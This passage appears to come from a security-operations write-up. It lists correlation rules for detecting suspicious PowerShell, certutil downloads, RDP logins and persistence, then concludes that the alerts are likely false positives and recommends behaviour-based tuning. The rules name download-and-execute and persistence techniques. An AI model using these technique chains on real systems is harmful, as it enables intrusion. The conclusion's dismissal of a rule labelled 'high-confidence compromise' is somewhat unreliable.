PowerShell (-ExecutionPolicy Bypass)

+

EncodedCommand OR Invoke-WebRequest

+

Outbound Network Connection

Severity: High

Rule 2 – Certutil Abuse

Certutil (-urlcache)

+

Executable File Created

+

PowerShell Execution

Severity: High

Rule 3 – Suspicious RDP Session

Multiple Failed Logins

+

Successful RDP Login

+

PowerShell Execution

+

Scheduled Task Creation

Severity: Critical

Rule 4 – Persistence After Script Execution

PowerShell

+

Scheduled Task Created

+

Registry Run Key Modified

Severity: Critical

Rule 5 – High-Confidence Attack Chain

PowerShell

↓

Certutil Download

↓

Payload Execution

↓

Scheduled Task Created

↓

Outbound HTTPS Connection

Severity: Critical (High-confidence compromise)

Final SOC Conclusion

All five alerts are **likely false positives** because they align with expected administrative activity performed by trusted users, systems, or security tools during normal business operations. None of the alerts, in isolation, provides sufficient evidence of malicious activity.

A SOC analyst should still verify supporting context—such as command lines, parent processes, network activity, digital signatures, change management records, and related events—before closing the alerts. By tuning detections to focus on **behavioral patterns and correlated attack sequences** rather than individual tool executions, organizations can significantly reduce false positives while maintaining strong detection coverage.